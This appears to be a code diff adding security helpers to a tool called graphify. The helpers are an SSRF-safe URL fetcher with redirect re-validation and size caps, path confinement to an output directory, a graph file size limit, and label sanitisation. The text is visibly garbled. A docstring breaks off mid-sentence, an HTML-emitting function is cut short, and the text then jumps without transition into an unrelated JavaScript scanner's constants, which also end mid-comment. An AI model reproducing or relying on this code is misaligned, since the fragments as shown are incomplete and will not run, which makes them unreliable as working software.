_NoFileRedirectHandler(urllib.request.HTTPRedirectHandler): + """Redirect handler that re-validates every redirect target. + + Prevents open-redirect SSRF attacks where an http:// URL redirects + to file:// or an internal address. + """ + + def redirect_request(self, req, fp, code, msg, headers, newurl): + validate_url(newurl) # raises ValueError if scheme is wrong + return super().redirect_request(req, fp, code, msg, headers, newurl) + + +def _build_opener() -> urllib.request.OpenerDirector: + return urllib.request.build_opener(_NoFileRedirectHandler) + + +# --------------------------------------------------------------------------- +# Safe fetch +# --------------------------------------------------------------------------- + +def safe_fetch(url: str, max_bytes: int = _MAX_FETCH_BYTES, timeout: int = 30) -> bytes: + """Fetch *url* and return raw bytes. + + Protections applied: + - URL scheme validated (http / https only) + - Redirects re-validated via _NoFileRedirectHandler + - Response body capped at *max_bytes* (streaming read) + - Non-2xx status raises urllib.error.HTTPError + - Network errors propagate as urllib.error.URLError / OSError + + Raises: + ValueError - disallowed scheme or redirect target + urllib.error.HTTPError - non-2xx HTTP status + urllib.error.URLError - DNS / connection failure + OSError - size cap exceeded + """ + validate_url(url) + opener = _build_opener() + req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0 graphify/1.0"}) + + with _ssrf_guarded_socket(), opener.open(req, timeout=timeout) as resp: + # urllib raises HTTPError for non-2xx when using urlopen directly; + # with a custom opener we check manually to be safe. + status = getattr(resp, "status", None) or getattr(resp, "code", None) + if status is not None and not (200 <= status < 300): + raise urllib.error.HTTPError(url, status, f"HTTP {status}", {}, None) + + chunks: list[bytes] = [] + total = 0 + while True: + chunk = resp.read(65_536) + if not chunk: + break + total += len(chunk) + if total > max_bytes: + raise OSError( + f"Response from {url!r} exceeds size limit " + f"({max_bytes // 1_048_576} MB). Aborting download." + ) + chunks.append(chunk) + + return b"".join(chunks) + + +def safe_fetch_text(url: str, max_bytes: int = _MAX_TEXT_BYTES, timeout: int = 15) -> str: + """Fetch *url* and return decoded text (UTF-8, replacing bad bytes). + + Wraps safe_fetch with tighter defaults for HTML / text content. + """ + raw = safe_fetch(url, max_bytes=max_bytes, timeout=timeout) + return raw.decode("utf-8", errors="replace") + + +# --------------------------------------------------------------------------- +# Path validation +# --------------------------------------------------------------------------- + +def validate_graph_path(path: str | Path, base: Path | None = None) -> Path: + """Resolve *path* and verify it stays inside *base*. + + *base* defaults to the `graphify-out` directory relative to CWD. + Also requires the base directory to exist, so a caller cannot + trick graphify into reading files before any graph has been built. + + Raises: + ValueError - path escapes base, or base does not exist + FileNotFoundError - resolved path does not exist + """ + if base is None: + resolved_hint = Path(path).resolve() + for candidate in [resolved_hint, *resolved_hint.parents]: + if candidate.name == "graphify-out": + base = candidate + break + if base is None: + base = Path("graphify-out").resolve() + + base = base.resolve() + if not base.exists(): + raise ValueError( + f"Graph base directory does not exist: {base}. " + "Run /graphify first to build the graph." + ) + + resolved = Path(path).resolve() + try: + resolved.relative_to(base) + except ValueError: + raise ValueError( + f"Path {path!r} escapes the allowed directory {base}. " + "Only paths inside graphify-out/ are permitted." + ) + + if not resolved.exists(): + raise FileNotFoundError(f"Graph file not found: {resolved}") + + return resolved + + +def check_graph_file_size_cap(path: Path) -> None: + """Reject *path* if its size exceeds ``_MAX_GRAPH_FILE_BYTES``. + + Protects callers from memory bombs by failing fast before a multi-GiB + graph.json is read into memory and JSON-parsed. Silently returns when + ``path.stat()`` cannot be read — the caller's own existence/path check + is expected to surface a clearer error in that case. + + Raises: + ValueError - file size exceeds the cap. The message includes the + observed size and the cap so callers can show a usable error. + """ + try: + size = path.stat().st_size + except OSError: + return + if size > _MAX_GRAPH_FILE_BYTES: + raise ValueError( + f"graph file {path} is {size:_d} bytes, " + f"exceeds {_MAX_GRAPH_FILE_BYTES:_d}-byte cap" + ) + + +# --------------------------------------------------------------------------- +# Label sanitisation (mirrors code-review-graph's _sanitize_name pattern) +# --------------------------------------------------------------------------- + +_CONTROL_CHAR_RE = re.compile(r"[\x00-\x1f\x7f]") +_MAX_LABEL_LEN = 256 + + +def sanitize_label(text: str | None) -> str: + """Strip control characters and cap length. + + Safe for embedding in JSON data (inside + + + +""" + + +def emit_html( + tree: Dict[str, Any], + *, + title: str, + header: str, + svg_width: int = 6000, + svg_height: int = 8000, +) -> str: + # Escape sequences so embedded JSON cannot break out of the + # + * Re-scan: window.impeccableScan() + */ +(function () { +if (typeof window === 'undefined') return; +// --- cli/engine/shared/constants.mjs --- +// ─── Section 1: Constants ─────────────────────────────────────────────────── + +const SAFE_TAGS = new Set([ + 'blockquote', 'nav', 'a', 'input', 'textarea', 'select', + 'pre', 'code', 'span', 'th', 'td', 'tr', 'li', 'label', + 'button', 'hr', 'html', 'head', 'body', 'script', 'style', + 'link', 'meta', 'title', 'br', 'img', 'svg', 'path', 'circle', + 'rect', 'line', 'polyline', 'polygon', 'g', 'defs', 'use', +]); + +// Per-check safe-tags override for the border (side-tab / border-accent) +// rule. We intentionally re-allow